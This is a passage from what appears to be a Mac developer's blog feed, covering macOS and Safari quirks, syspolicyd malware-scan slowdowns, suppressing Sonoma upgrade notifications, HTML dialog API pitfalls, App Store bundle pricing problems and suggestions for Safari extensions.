As an experiment, I created a new (smaller) encrypted disk image, copying a file in Finder and pasting into the hdiutil create password prompt. When I then copied and pasted the file path of the new disk image into Terminal as the (plaintext) argument for hdiutil attach, I suddenly noticed that the file path wasn't the only thing copied. There was a space character after the file path. Terminal adds a space character after pasted file paths as a convenience for constructing command-line invocations. That was the answer! In retrospect, it was simple and embarrassingly obvious. The password of the encrypted disk image was not the full file path; rather, the password was the full file path plus a space character. LOL. Of course it's impossible to see this, or anything, with secure password entry, which is a recipe for data loss.

Feedback Assistant Boycott

]]>
Stop The Mac App Store improved for Sonoma and Ventura https://lapcatsoftware.com/articles/2024/4/2.html 2024-04-03T14:20:00Z 2024-04-03T14:20:00Z The App Store app on macOS is the default handler of URLs with the macappstore: scheme. App Store preview web pages automatically open the App Store app by setting the location of an HTML <iframe> element to a macappstore: URL. My free open source app Stop The Mac App Store registers itself as the default macOS handler for the macappstore: scheme, thereby preventing Safari and Safari Technology Preview from automatically opening those URLs in App Store. If you click Cancel or press the escape key, the App Store app won't open.

Do you want to allow this website to open Stop The Mac App Store.app?

I've discovered that macOS Ventura and Sonoma changed how Safari handles App Store links, bypassing Stop The Mac App Store in some cases. Fortunately, I've also discovered a solution to the problem. In this blog post I'll discuss both the problem and the solution. As a bit of a spoiler, let me first deflate the conspiracy theories: Apple wasn't specifically targeting Stop The Mac App Store, which is too obscure to be noticed by the corporate giant. My app never lost the ability to become the default handler of the macappstore: URL scheme. Rather, it seems that macOS Ventura started treating App Store URLs as universal links:

With universal links, users open your app when they click links to your website within Safari and WKWebView

If you paste an App Store URL such as https://apps.apple.com/app/stopthemadness-pro/id6471380298 (for my own app StopTheMadness Pro) into Safari's address bar, then Stop The Mac App Store continues to work as before. However, if you click an App Store link in a web page, the behavior on macOS Ventura and later differs from the behavior on Monterey and earlier. Strangely, the specific behavior on Ventura and Sonoma depends on whether the link is in a private window or a non-private window. If you click an App Store link in a non-private window, Safari directly opens the link in the App Store app, entirely bypassing Stop The Mac App Store, not even loading the App Store preview web page.

On the other hand, if you click an App Store link in a private window, Safari asks your permission to open the link in the App Store app. Note carefully that it's not asking permission to open the link in Stop The Mac App Store! In this case it's also bypassing Stop The Mac App Store. Also note that Safari hasn't yet loaded the App Store preview page; instead, Safari gives special treatment to https://apps.apple.com links.

Do you want to allow this website to open App Store?

You actually have to cancel twice for some reason, and then Safari loads the App Store preview page.

Open in the App Store app

Notice the banner at the top that says "Open in the App Store app" with an Open button. That's not actually part of the web page: it's Safari's native interface for a universal link. I've blogged about universal links in the past, with regard to the Twitter app for Mac. My "insanely devious" idea to stop universal links in that case was to create a fake Twitter app called StopTheTwitter with the same bundle identifier but a higher version number than the real Twitter app, which tricked macOS into thinking that StopTheTwitter was the real Twitter app.

The question is, would my insanely devious idea work again, this time with the App Store app? The answer is… yes! The latest version of Stop The Mac App Store solves the problem with universal links on Ventura and Sonoma, restoring the previous desired behavior for App Store preview web pages. I call it version 2.0, but it's actually CFBundleShortVersionString 9999.9, arbitrarily much higher than the 3.0 version of the App Store app.

By the way, last year I explained how you could stop universal links with third-party Mac apps by using Little Snitch to block connections from the /usr/libexec/swcd process (Shared Web Credentials Daemon). This trick doesn't work with the first-party App Store app, though, because it appears that App Store doesn't use an Apple App Site Association File https://apps.apple.com/.well-known/apple-app-site-association on the web. Instead, the universal links behavior is built into the operating system, which is why you need to use Stop The Mac App Store.

Feedback Assistant Boycott

]]>
Safari Search Settings spacing https://lapcatsoftware.com/articles/2024/4/1.html 2024-04-02T19:15:00Z 2024-04-02T19:15:00Z Here's a screenshot of the Search pane in the Preferences window of Safari 16 on macOS Big Sur. (This was before Preferences became Settings in macOS.) Note that the preference "Include search engine suggestions" is clearly associated with the "Search engine" preference.

Safari 16 Search Settings

Safari 17 (on macOS Monterey and later) added separate settings for search engines in private and non-private windows, as seen below.

Safari 17 Search Settings

However, Safari 17 didn't add separate settings for "Include search engine suggestions" in private and non-private windows. The resulting user interface is confusing, even misleading. Despite the vertical proximity of the "Include search engine suggestions" setting to the "Private Browsing search engine" setting, and the vertical space separating them from the (non-private) "Search engine" setting, it turns out that "Include search engine suggestions" governs both private and non-private search engines. Worse, the text below the "Include search engine suggestions" settings implies that it applies only to the private browsing search engine.

Private Browsing uses on-device information to provide search suggestions. No data is shared with the service provider.

Yet data is shared with the search provider, Google in this case, when you type in the address bar of a non-private Safari window with "Include search engine suggestions" enabled. If you have a network extension installed such as Little Snitch, you can see how your every keypress triggers a Safari connection to the clients1.google.com domain.

The grouping and vertical spacing of the user interface items in the Safari Search pane don't properly reflect how the settings work. It looks like a copy and paste job, where the search engine setting was merely duplicated without giving much thought to the consequences.

This type of faulty design and lack of attention by developers is unfortunately endemic to Apple nowadays and reflective of its current culture. The corporation has become a pale imitation of its former self, once famous for sweating every minor detail.

By the way, while we're talking about the Safari Search pane, I would remind you to disable the "Preload Top Hit in the background" setting.

Feedback Assistant Boycott

]]>
Mac app launches slowed by malware scan https://lapcatsoftware.com/articles/2024/2/3.html 2024-02-14T16:20:00Z 2024-02-14T18:25:00Z I've always attributed slow Xcode launches to Xcode simply sucking, but I've noticed that the FileMerge app frequently launches slowly too. When this happens, the app can take a dozen bounces in the Dock before finally opening. FileMerge resides in the folder Xcode.app/Contents/Applications/ within the Xcode bundle and can be opened from the Xcode main menu under the Open Developer Tool submenu. I actually keep FileMerge in my Dock for quick access, because I use FileMerge a lot for diffing files and folders. I finally got fed up with slow launches and decided to investigate by taking a spindump from Activity Monitor. Spindumps are a nice way to see what exactly is consuming resources on your Mac, because they show the "CPU Time" used by each process on your system and each thread in the process.

From the spindump I discovered that the slow launches are caused by the syspolicyd process, specifically DispatchQueue "com.apple.security.syspolicy.yara". The backtrace showed syspolicyd calling the yr_rules_scan_file function. According to Wikipedia:

YARA is the name of a tool primarily used in malware research and detection. It provides a rule-based approach to create descriptions of malware families based on regular expression, textual or binary patterns.

Thus, macOS is periodically scanning FileMerge for malware on launch, which causes very slow app launches. I don't know what the exact period is between scans, but rebooting the Mac seems to reset the cache, which made it convenient for me to test the malware scans while writing this blog post (but otherwise makes it extremely inconvenient for me). I've noticed the same syspolicyd malware scanning and consequent slow launches with some other apps such as Xcode itself, Google Chrome, and Wireshark. You can even see syspolicyd spinning up % CPU in Activity Monitor when the malware scan happens. (In order to catch this, make sure to increase Update Frequency to 1 sec.)

Xcode, Chrome, and Wireshark are very large apps, so it makes sense that a malware scan of them would be slow. However, FileMerge is much smaller, only 2 MB. Why does that take so long? My theory is that syspolicyd also scans the launched app's linked libraries. The command otool -L in Terminal will show them:

otool -L /Applications/Xcode.app/Contents/Applications/FileMerge.app/Contents/MacOS/FileMerge

I doubt that the built-in system libraries are scanned for malware, because they reside on a separate cryptographically-signed read-only disk volume. But FileMerge also links to non-system libraries:

	@rpath/IDEFoundation.framework/Versions/A/IDEFoundation (compatibility version 1.0.0, current version 22551.0.0)
	@rpath/DVTKit.framework/Versions/A/DVTKit (compatibility version 1.0.0, current version 1.0.0)
	@rpath/DVTFoundation.framework/Versions/A/DVTFoundation (compatibility version 1.0.0, current version 1.0.0)
	@rpath/DeltaFoundation.framework/Versions/A/DeltaFoundation (compatibility version 1.0.0, current version 1.0.0)
	@rpath/DeltaKit.framework/Versions/A/DeltaKit (compatibility version 1.0.0, current version 1.0.0)
	@rpath/DVTUserInterfaceKit.framework/Versions/A/DVTUserInterfaceKit (compatibility version 1.0.0, current version 1.0.0)
	@rpath/libXCTestSwiftSupport.dylib (compatibility version 1.0.0, current version 22516.0.0, weak)

These libraries are located within the Xcode bundle in the Xcode.app/Contents/SharedFrameworks/ folder.

In my testing, I also saw somewhat slow launching from another app bundled with Xcode, Accessibility Inspector. This app is larger than FileMerge, yet it launches much more quickly. I suspect the reason is that it links to fewer Xcode frameworks:

	@rpath/AccessibilitySupport.framework/Versions/B/AccessibilitySupport (compatibility version 0.0.0, current version 0.0.0)
	@rpath/DVTFoundation.framework/Versions/A/DVTFoundation (compatibility version 1.0.0, current version 1.0.0)
	@rpath/DVTKit.framework/Versions/A/DVTKit (compatibility version 1.0.0, current version 1.0.0)
	@rpath/AccessibilityAudit.framework/Versions/B/AccessibilityAudit (compatibility version 1.0.0, current version 1.0.0)
	@rpath/AccessibilityAuditDeviceManager.framework/Versions/A/AccessibilityAuditDeviceManager (compatibility version 1.0.0, current version 1.0.0)

In case you're wondering, Apple hasn't exempted Mac App Store apps from malware scanning, not even its own apps. I downloaded Xcode from the Apple Developer website rather than from the Mac App Store, but I can see the syspolicyd malware scan when launching large Mac App Store apps such as Pages and Numbers. Again, though, I think that the built-in read-only system apps are exempt.

Here's a mystery: I see frequent slow launches and malware scans with Google Chrome but never with Google Chrome Beta, despite the fact that the Google Chrome beta app is about the same size as the Google Chrome app. I don't yet have an explanation for the difference in behavior.

By the way, the existence or nonexistence of extended attributes such as com.apple.quarantine makes no difference. Removing all the extended attributes from an app bundle doesn't stop the malware scans.

You may remember our friend syspolicyd as the process that phones home to Apple when running unsigned executables. It was also the culprit in making Xcode tools slow after reboot. I guess I should have already known the cause of the slow app launches, but I must have forgotten and/or failed to put two and two together. In any case, syspolicyd sucks, and I really wish there were a way to completely disable the malware scanning and allow my apps to always launch quickly. I'm very careful about what I install, and I've never had malware in over twenty years of full-time Mac usage, so I think it's safe to say that for me, syspolicyd is security theater, and I'd rather not have to sit through its "play", full of sound and fury, signifying nothing. To be fair, I don't have an issue with malware scanning in the background; I just don't want malware scanning to hold up my apps launching in the foreground. Instead of interrupting me and scanning an app during the seconds when I'm launching it—what should be a fraction of a second—how about scanning the app during the innumerable seconds when I'm not launching it?

Perhaps disabling System Integrity Protection disables the malware scan too? I haven't checked this, but it's not really viable for me as a Mac software developer, because I need to test the same runtime environment as my users, otherwise I could write code that works for me but not for my users. I believe that disabling SIP also disables some Apple services on your Mac that are "protected" by DRM (in order to make reverse engineering more difficult).

Addendum

I've now confirmed that disabling SIP does indeed eliminate the syspolicyd malware scan. Xcode launches so fast, it's beautiful. I feel like I'm in heaven! I don't think I can go back to the previous hell. I'll live with the consequences, whatever they may be.

Feedback Assistant Boycott

]]>
How to stop Upgrade to macOS Sonoma notifications https://lapcatsoftware.com/articles/2024/2/2.html 2024-02-08T01:35:00Z 2024-02-08T01:35:00Z Are you still on macOS Ventura or Monterey and prefer not to install Sonoma yet? Sadly, the brain trust at Apple have decided that your preferences don't matter. (These are the same people who decided to rename Preferences to Settings and wreck the app.) Instead, you get harassed by frequent notifications imploring you to "Upgrade to macOS Sonoma", notifications that won't take no for an answer. They don't even have no for an answer! And if you click the wrong thing, you'll accidentally, silently install Sonoma.

Upgrade to macOS Sonoma

As always, I'm on the case, stopping the madness. The solution in this case is actually quite simple, one little Terminal command:

defaults write com.apple.SoftwareUpdate MajorOSUserNotificationDate -date "2025-02-07 23:22:47 +0000"

The exact date is not significant, as long as it's sometime in the future. I just took the output of the following command and added one year.

defaults read com.apple.SoftwareUpdate MajorOSUserNotificationDate

I would say that you should send feedback to Apple about how much you hate these notifications, as well as the forced updates, but I'm currently boycotting Feedback Assistant.

]]>
The HTML dialog element API is a mess https://lapcatsoftware.com/articles/2024/2/1.html 2024-02-01T15:00:00Z 2024-02-01T15:00:00Z The HTML <dialog> element was introduced ten years ago by Google Chrome. However, dialog didn't become a web standard until 2022, when Firefox and Safari added support for the element. A dialog is a box shown in front of all other web page content, similar to an alert, but a dialog is much more configurable than an alert and can be shown either modally or non-modally.

The HTML dialog element has an open attribute indicating whether the dialog is shown on the page, as well as a corresponding open property. (An attribute is part of the HTML, whereas a property is JavaScript.) There are several different ways to show a dialog on a page. In JavaScript, you can call showModal() to show the dialog modally or show() to show the dialog non-modally. Both functions set the open attribute on the dialog.

You can also show a dialog without using JavaScript by setting the open attribute in HTML.

<dialog open>

If the open attribute is set when the dialog element is created, then the dialog is shown non-modally.

Since the open attribute is set in all of these situations, the attribute doesn't tell you whether the dialog is shown modally or non-modally. Moreover, the HTML dialog element lacks a "modal" attribute or property. No API exists to determine whether a dialog is shown modally or non-modally. Nonetheless, the element does have an internal is modal flag, which is not accessible to JavaScript. By default, the "is modal" flag is false; if you call showModal(), the flag gets set to true.

If you accidentally use the API incorrectly, the dialog element can throw exceptions… in some cases. For example,

<dialog id="test" open>
<p>Testing</p>
</dialog>

<script>
window.onload = function() {
  document.getElementById("test").showModal();
};
</script>

This code throws InvalidStateError, because when showModal() is called, the dialog was already shown non-modally from the open attribute.

According to the documentation,

InvalidStateError DOMException

Thrown if the dialog is already open (i.e. if the open attribute is already set on the <dialog> element), or if the dialog is also a popover that is already being shown.

However, this documentation is no longer accurate! Last year the major web browser vendors decided to change the standard (remember, HTML is now a "living standard") so that exceptions are not thrown for redundant actions, e.g., opening an already open dialog, but only for attempting to switch modes, e.g., calling showModal() on an open non-modal dialog.

At this point, you might be wondering how I know so much about the dialog element. Honestly, it's a lot more than I ever wanted to know. The knowledge was essentially thrust upon me by unfortunate circumstances. It turns out that the change in the HTML standard with regard to throwing exceptions corresponded with the release of Safari version 17, which adopted the new behavior. Safari 16 still has the old behavior. In December I introduced StopTheMadness Pro, a major update to my Safari extension StopTheMadness. On iPhone and iPad, StopTheMadness Pro initially required iOS 17, which includes Safari 17. I had several reasons for requiring iOS 17, one of which was that I don't own any devices with iOS 16 installed. I was worried that I couldn't adequately test iOS 16 support for StopTheMadness Pro. Ultimately, though, I caved in to customer demand and added iOS 16 support a couple of weeks ago in StopTheMadness Pro version 4.0. This was followed the same day by StopTheMadness Pro version 4.1, an emergency bug fix update.

The bug was that in one particular situation, showModal() could be called twice on the same dialog. The two calls occurred in two separate functions, which is why I didn't notice in the source code, and in Safari 17 the redundant calls were harmless, which is why I didn't notice at all during the long development of StopTheMadness Pro. In Safari 16, on the other hand, the harmless redundancy became an exception, breaking the Safari extension popup. I did of course test iOS 16 support for StopTheMadness Pro in the Xcode simulator, but the lack of a physical iOS 16 device and the short development period left gaps in my testing, and this bug fell through the gaps. My original fear, which had motivated me to require iOS 17, now became a reality.

The web browser vendors believed that they were doing a favor for developers by changing the (already convoluted) dialog API to make it less strict. Yet their good intentions backfired on me. I don't think we can say that the API was well-designed or well-managed.

Feedback Assistant Boycott

]]>
Abandonware featured in iOS App Store https://lapcatsoftware.com/articles/2024/1/3.html 2024-01-25T16:20:00Z 2024-01-25T16:20:00Z The Safari Extensions section of the iOS Settings app has a More Extensions link that takes you to the Safari Extensions section of the App Store.

Safari Extensions Settings

In the App Store Safari Extensions section, there's a list of Essential Safari Extensions, selected by App Store editors.

App Store Safari Extensions

Note that the list of 23 extensions does not include and never has included my own StopTheMadness. The list was created by App Store editors on September 21, 2021, the release date of iOS 15, the operating system update that introduced support for Safari extensions on iOS. In other words, these extensions were deemed "essential" before anyone had actually used any of these extensions. And as far as I can tell, except for perhaps one or two additions, the list of Essential Safari Extensions in the iOS App Store has remained static since then, over two years ago.

One of the extensions featured in the list is Hyperweb by Laso Technologies Inc.

App Store Essential Safari Extensions

Hyperweb has two In-App Purchases: a monthly $2.99 USD subscription and a $29.99 USD yearly subscription. According to the App Store version history, the app was updated only once in the past year, on March 21, 2023. The app support link https://hyperweb.app/ and the privacy policy link https://hyperweb.app/privacy both give 404 Page Not Found errors. According to a Reddit post from a Hyperweb user, "Submitted a support email and it came back as undeliverable." Thus, Hyperweb gives all appearances of abandonware, although it remains in the iOS App Store and presumably continues to collect subscription revenue. And of course it's still featured by Apple in the Essential Safari Extensions list.

Laso Technologies Inc, the developer of Hyperweb, has one other app in the iOS App Store, Insight Browser. This app has a $3.99 USD monthly subscription and a $39.99 yearly subscription. It was last updated on October 4, 2022, and the website https://insightbrowser.com also gives a 404 Page Not Found error. Clearly, this App Store developer is out of commission.

Speaking of commissions, remember that Apple receives a 15% or 30% commission on the subscription revenue from Hyperweb and Insight Browser. In fairness, however, we can't begrudge this commission, since of course Apple has to pay expenses for important upkeep and maintenance, such as… App Store editorial?

Feedback Assistant Boycott

]]>
Beware of App Store app bundles https://lapcatsoftware.com/articles/2024/1/2.html 2024-01-19T15:45:00Z 2024-01-19T15:45:00Z This is a follow-up to my post StopTheMadness Pro postmortem: crApp Store still crappy. As I explained in that post, I recently released StopTheMadness Pro, a major update to my Safari extension StopTheMadness, and since the App Store doesn't support paid upgrades, my workaround was to create app bundles in the iOS App Store and Mac App Store that include both the old StopTheMadness app and the new StopTheMadness Pro app. Then previous purchasers of the old StopTheMadness app could use the Complete My Bundle feature to purchase the new StopTheMadness Pro at a discount. In the previous blog post, I mentioned several problems that customers were experiencing with the app bundles. I've now learned of an additional problem, the worst problem of all, a problem that appears to have no solution.

In 2020, I created a Mac App Store bundle for StopTheMadness and another one of my apps, Link Unshortener. This bundle allowed previous purchasers of StopTheMadness to purchase Link Unshortener at a discount. I removed the StopTheMadness Link Unshortener Bundle from the Mac App Store at the same time I released StopTheMadness Pro. Unfortunately, I've heard from several customers who previously purchased the StopTheMadness Link Unshortener Bundle that they're not seeing a Complete My Bundle discount for the new StopTheMadness Pro Upgrade Bundle.

The first thing I tried was to create yet another new Mac App Store bundle that included Link Unshortener, StopTheMadness, and StopTheMadness Pro. It took a number of days for Apple to review and approve the bundle, just like with the upgrade bundles, as I complained about in the previous blog post. At the end of the wait, there was no joy, because the customers did not see a discounted Complete My Bundle price with the new bundle either.

Someone suggested to me that removing the old StopTheMadness Link Unshortener Bundle from sale was the problem, so I published the old bundle again to the Mac App Store, but that didn't help either.

Thus, I contacted Apple Developer Support about the problem, despite the fact that Apple Developer Support was seemingly useless the last time I contacted them about bundle problems (as also described in the previous blog post). After weeks of back and forth— mostly waiting for responses from Apple —I think I've finally received confirmation of my greatest fear: Complete My Bundle prices are available only for previous purchasers of standalone apps, not for previous purchases of app bundles. I say "I think" because I haven't been allowed to speak directly with Apple engineering. I had to go back and forth with an intermediary, an Apple Developer Support representative, who hasn't personally demonstrated much of a grasp of the situation. The responses from Apple engineering have been terse, and it's not entirely clear that they have a full grasp of the situation either, so I've been forced to play interpreter and guess at their meaning. Perhaps I'll keep trying to get a clearer, more definitive answer, but the back and forth has already been quite frustrating.

The conclusion, if my interpretation is correct, is that previously selling an app bundle for StopTheMadness and Link Unshortener ended up backfiring on me when I needed to sell an app bundle for StopTheMadness and StopTheMadness Pro. There's no upgrade path for those customers. They would have to purchase StopTheMadness Pro at full price. Moreover, I've also heard from another customer who is unable to receive a Complete My Bundle price for StopTheMadness Pro because they purchased StopTheMadness via an even older app bundle that included StopTheMadness and Underpass, an app that I discontinued back in 2021 due to very low sales, as well as Apple breaking some API used by the app.

Fortunately (in some sense of fortunate), given the very low sales of Underpass, there were very few purchasers of the StopTheMadness Underpass Bundle. However, the StopTheMadness Link Unshortener Bundle had a lot more customers. Even if I wanted to give free copies of StopTheMadness Pro, via App Store promo codes, to previous purchasers of the StopTheMadness Link Unshortener Bundle, it would be nearly impossible, because App Store developers receive only 100 promo codes per version of an app. And the primary use of promo codes is to give to members of the news media, for self-promotion (hence the term "promo"). There just aren't enough promo codes available to cover those customers, and I can't verify previous purchasers anyway, because Apple doesn't give App Store developers any access to App Store transactions. I have no idea who my customers are, individually, unless they email me and claim they're a customer!

In any case, I don't really want to give out free promo codes, because the entire point of releasing a paid upgrade was to earn additional money from previous customers. Furthermore, when I introduced the StopTheMadness Link Unshortener Bundle in 2020, StopTheMadness was cheaper than in 2023, as I've raised the price a number of times. Upgrade revenue from previous customers is crucial for indie developers, because we can't "make it up in volume". The most difficult task for an indie developer is to find new customers with not much capital for advertising and not much press coverage. (Honestly, I was a bit disappointed with the amount of coverage for the StopTheMadness Pro release.) We rely heavily on previous customers, both for word of mouth advertising and for paid upgrades. It's important to recognize that indie development is not a great path to personal wealth. To this day, I still make less money per year from the App Store than from the job I quit in 2016. And although every year in the App Store has been better financially for me than the previous year—which is not saying much with regard to the early years!—this would not have been true about 2023 without the paid StopTheMadness Pro upgrade. The last two weeks of December are what put 2023 revenue over the top.

I still believe that the upgrade app bundles were the least worst of my available options for StopTheMadness Pro. Adding an In-App Purchase to the old StopTheMadness app would not have been technically feasible, because there were massive architectural changes in StopTheMadness Pro, making it nearly impossible to release the functionality of those two apps in a single app. StopTheMadness Pro needed to be a brand new app. Moreover, it would be weird to have an IAP in an app that's already paid upfront. This would make potential customers wary.

Another alternative would have been to release StopTheMadness pro without any upgrade bundle but instead discount the price heavily for an introductory period. This of course would have been a better deal for the customers who purchased the Link Unshortener and Underpass bundles. On the other hand, it would have been a worse deal for a lot of other customers. If you purchased StopTheMadness in the Mac App Store right before StopTheMadness Pro was released, you can Complete My Bundle for a mere $3 USD, whereas even a heavily discounted introductory period would have cost these customers at least $8. Given the limitations of the App Store, there's really no scenario where I could have accommodated every previous customer. Justified or not, some of them were going to feel "screwed" no matter what, and I don't know how I could have avoided that while still trying to sustain my indie development business indefinitely. If I go out of business, nobody wins.

In retrospect, despite my defense of the upgrade bundles, I nonetheless regret ever having sold the StopTheMadness Link Unshortener Bundle and the StopTheMadness Underpass Bundle. As well as the new Link Unshortener StopTheMadness Pro Upgrade Bundle! It's now removed from the Mac App Store, but during the two weeks that it was available while I was going back and forth with Apple Developer Support, the bundle sold about 60 units. I didn't intend for anyone to buy it unless it allowed an upgrade path from the older bundle, which it didn't. Knowing what I know now, I think that using App Store app bundles for any purpose other than paid upgrades is a mistake. And they're not particularly good for paid upgrades either, but they may be necessary in some cases. I don't know what I would do in the future if I wanted to do another paid upgrade, but given that the first paid upgrade was five years after the initial release of StopTheMadness, that's not a problem we have to worry about for a number of years.

What I would say to any previous customers who may feel burned by the StopTheMadness Pro upgrade situation is that the natural alternative to the path I chose would be… subscriptions. I hate software subscriptions as much as anyone and would have hated a StopTheMadness Pro subscription as much as you would have. Yet I can understand why many indie developers have adopted subscriptions. As I said, we need upgrade revenue of some kind, and the App Store doesn't provide us with any good options, only a few bad options. Before you complain about the one-time upgrade price of StopTheMadness Pro, consider the possibility that you could have been paying forever just to rent the app. ;-)

Feedback Assistant Boycott

]]>
How Safari can improve extensions https://lapcatsoftware.com/articles/2024/1/1.html 2024-01-09T21:55:00Z 2024-01-09T21:55:00Z As a longtime Safari extension developer, I have a number of suggestions about how Safari could improve its extension support. I've already filed some of these suggestions with Apple's Feedback Assistant, but since I'm now boycotting Feedback Assistant, I thought I'd post the list on my blog. Another benefit of blogging the suggestions is of course that other people can read them, unlike in Feedback Assistant, which is a closed, opaque system. I'll start with user interface improvements and then move on to technical matters relevant for extension developers.

1. Bring the Manage Extensions widget to Mac from iPad

In Mac Safari, extensions can be accessed only if their buttons are in the toolbar.

Mac Safari window toolbar

This can be a problem if you have a lot of Safari extensions. Even if some of them are accessed infrequently, they all need to take up space in the toolbar, because otherwise you can't access them at all.

In iPad Safari, on the other hand, there's a Manage Extensions widget in the toolbar that opens a popup giving access to every extension.

iPad Safari Manage Extensions toolbar widget

Chrome and Firefox both have a similar toolbar widget to manage extensions.

Google Chrome window toolbar   Firefox window toolbar

Thus, it seems obvious that Mac Safari ought to have a Manage Extensions toolbar widget too.

2. Bring toolbar customization to iOS from Mac

iOS has the opposite problem: you can manually customize the Safari toolbar in Mac Safari but not in iPad Safari. Extensions that are enabled on the page appear in the toolbar, whether you want them or not, and extensions not enabled on the page don't appear in the toolbar, whether you want them or not.

iPad Safari window toolbar

In iPhone Safari it's is even worse, because extensions can get lost deep in the toolbar popup menu.

iPhone Safari toolbar popup iPhone Safari toolbar popup scrolled

There ought to be a way to customize which extensions appear in the toolbar on iPad and in the toolbar popup menu on iPhone.

Chrome can pin an extension button to the toolbar from the manage extensions popup menu, and Firefox can pin an extension button to the toolbar from the contextual menu.

Chrome pin button Firefox Pin to Toolbar

3. Add extensions permissions to the Website Settings popup

Safari extensions require permission to access websites, but there's not an easy way to access those permissions. In Mac Safari, the permissions are in the separate Settings window.

Mac Safari Websites Settings

In Mobile Safari it's even less convenient, because the permissions are in the separate Settings app, buried deep in submenus.

Safari Extensions Settings

It would be nice if the extensions permissions were in the Safari Website Settings popup.

Mac Safari Website Settings popup
iPhone Safari Website Settings popup

This is especially important for revoking extension permissions. An extension that has "Ask" permission can be granted "Allow" permission to a website by clicking on the extension's button in Safari.

The extension StopTheScript would like to access en.wikipedia.org

However, once permission is granted, there's not a convenient way to revoke that permission.

4. Don't distinguish between content blockers and extensions

Previously I've blogged about the four types of Safari extension: Safariextz (defunct), Safari content blocker, Safari app extension, Safari web extension. Users do not understand the difference between these types. My own StopTheMadness is a Safari app extension on Mac and a Safari web extension on iOS. Yet people think that StopTheMadness is a content blocker, and they email me complaining that they've turned off content blockers on a website, but StopTheMadness is still active on the site, as if that were a bug in my extension.

Turn Off Content Blockers

Safari should not distinguish between content blockers and extensions, because users have no idea what that distinction means.

Curiously, Safari does combine content blockers and extensions in some places, eliding the distinction. Below, my StopTheFonts is a Safari content blocker, while the others are extensions.

iPhone Safari Extensions Settings

Mac Safari Extensions Settings

Nonetheless, the confusing distinction exists elsewhere.

Mac Safari Websites Settings

5. Document the extension highlight color

Have you ever wondered why some Safari extension icons are blue?

Safari extension icon blue tint

On the Mac, the tint actually depends on your "Accent color" in Appearance System Settings. There's no such setting on iOS, which is why it's always blue in Mobile Safari.

The purpose of the tinting is to indicate that the extension has permission to access the web page currently displayed in Safari. Did you know that? Many people don't. A couple of years ago I wrote about mass confusion and dislike over Safari extension icon tinting:

It's important to note that is there's no official Apple documentation explaining the significance of Safari extension toolbar icon tinting. I've looked everywhere in Safari and also searched extensively in Apple's support pages. The only way that anyone knows how this works is that occasionally a Safari engineer will respond to someone's perplexity. But this haphazard approach obviously doesn't scale to over a billion Safari users.

As far as I can tell, the situation hasn't changed since then. There's still no documentation of this "feature", which is ridiculous, especially when the entire purpose of it is supposedly to communicate information to users.

6. Bring missing extension API to iOS from Mac

On macOS there's an API (Application Programming Interface) SFSafariExtensionManager getStateOfSafariExtension that allows an app to determine whether its Safari extension is enabled, and there's an API SFSafariApplication showPreferencesForExtension that allows an app to open Safari Extensions Settings to show the extension. These API are used to help guide the user to enable an app's Safari extension, but the API don't exist on iOS, which makes it more difficult and confusing for users to enable Safari extensions on iOS.

Apple's developer document Assessing your Safari web extension’s browser compatibility lists a number of Safari extension API that are available on Mac but not on iOS. From my perspective, one of the most crucial missing API is windows create, which allows an extension to create a new window in Safari. (iOS extensions can create new tabs but not new windows.) Without this API, there's no way for a Safari extension on iOS to open a URL in a private window. Or in a non-private window, for that matter. Ironically, an iOS Safari extension can detect whether a tab is in a private window or not, but the extension has no control over whether to open tabs in private or non-private windows. I would love to have this feature in StopTheMadness.

7. Combine the app extension and web extension API

As I explained in my blog post the four types of Safari extension, Safari app extensions are a Mac-exclusive, Safari-exclusive type of extension introduced in 2016, whereas Safari web extensions are a cross-platform and cross-browser type of extension introduced on Mac in 2020 and iOS in 2021. In Safari version 17, Safari app extensions finally got the website-specific permissions system that Safari web extensions had from the beginning. Yet significant differences remain between the two types of extension. This makes life particularly difficult for me, because StopTheMadness on Mac, introduced in 2017, is a Safari app extension, but StopTheMadness on iOS is a Safari web extension. Each type of extension has its own advantages and disadvantages, its own capabilities and limitations. It would be wonderful if the two API were combined, so that extension developers could take advantage of both and experience the best of both worlds.

Oddly, like Safari web extensions on iOS, Safari app extensions lack the ability to open new private windows, though they can open new non-private windows, unlike Safari web extensions on iOS. The app extension API is SFSafariApplication openWindowWithURL, which has no option for private browsing. Again, though, Safari app extensions can detect private windows with the SFSafariPageProperties usesPrivateBrowsing API, so the limitation doesn't make much sense. My workaround for this limitation was to create a separate, dedicated app to open URLs in Safari private windows. Unfortunately, though, this is possible only on Mac, not on iOS, because my app actually uses AppleScript to click items in Safari's main menu.

One massive advantage of the Safari app extension API is that it allows the extension to display a native AppKit user interface in the Safari extension popup, while Safari web extensions must rely exclusively on HTML and CSS. I would love to be able to display a native UIKit user interface in Safari extension popups on iOS, because HTML is so clunky, limited, and ugly in comparison.

8. Fix the extension bugs

I've posted a list of my Safari extension bugs on GitHub. This list is for the benefit of all Safari extension developers, and other developers are also welcome to post their Safari extension bugs in the list. As I mentioned before, Apple's Feedback Assistant is a closed system, so unfortunately there's no way to view or search for bug reports other than your own. Naturally, there's some overlap between the list of bugs I've filed with Apple and the issues I've discussed in this blog post. Two egregious issues that I haven't mentioned here are a website permissions data loss bug on iOS and a content script loading bug on macOS, the latter of which has plagued me for more than three years.

Oh, and the other day I somehow made Mobile Safari crash on iOS 17.2.1.

Thread 3 name:   Dispatch queue: com.apple.extension.global-state-queue
Thread 3 Crashed:
0   libsystem_blocks.dylib        	       0x211c8aa00 _Block_copy + 56
1   libsystem_blocks.dylib        	       0x211c8a9b8 -[__NSMallocBlock__ retain] + 23
2   ExtensionFoundation           	       0x1b6ccc4bc __93-[EXConcreteExtension _completeRequestReturningItems:forExtensionContextWithUUID:completion:]_block_invoke + 59
3   libdispatch.dylib             	       0x1afc976a8 _dispatch_call_block_and_release + 31
4   libdispatch.dylib             	       0x1afc99300 _dispatch_client_callout + 19
5   libdispatch.dylib             	       0x1afca0894 _dispatch_lane_serial_drain + 747
6   libdispatch.dylib             	       0x1afca13c4 _dispatch_lane_invoke + 379
7   libdispatch.dylib             	       0x1afcac004 _dispatch_root_queue_drain_deferred_wlh + 287
8   libdispatch.dylib             	       0x1afcab878 _dispatch_workloop_worker_thread + 403
9   libsystem_pthread.dylib       	       0x211c8f964 _pthread_wqthread + 287
10  libsystem_pthread.dylib       	       0x211c8fa04 start_wqthread + 7

9. Fix the web inspector bugs

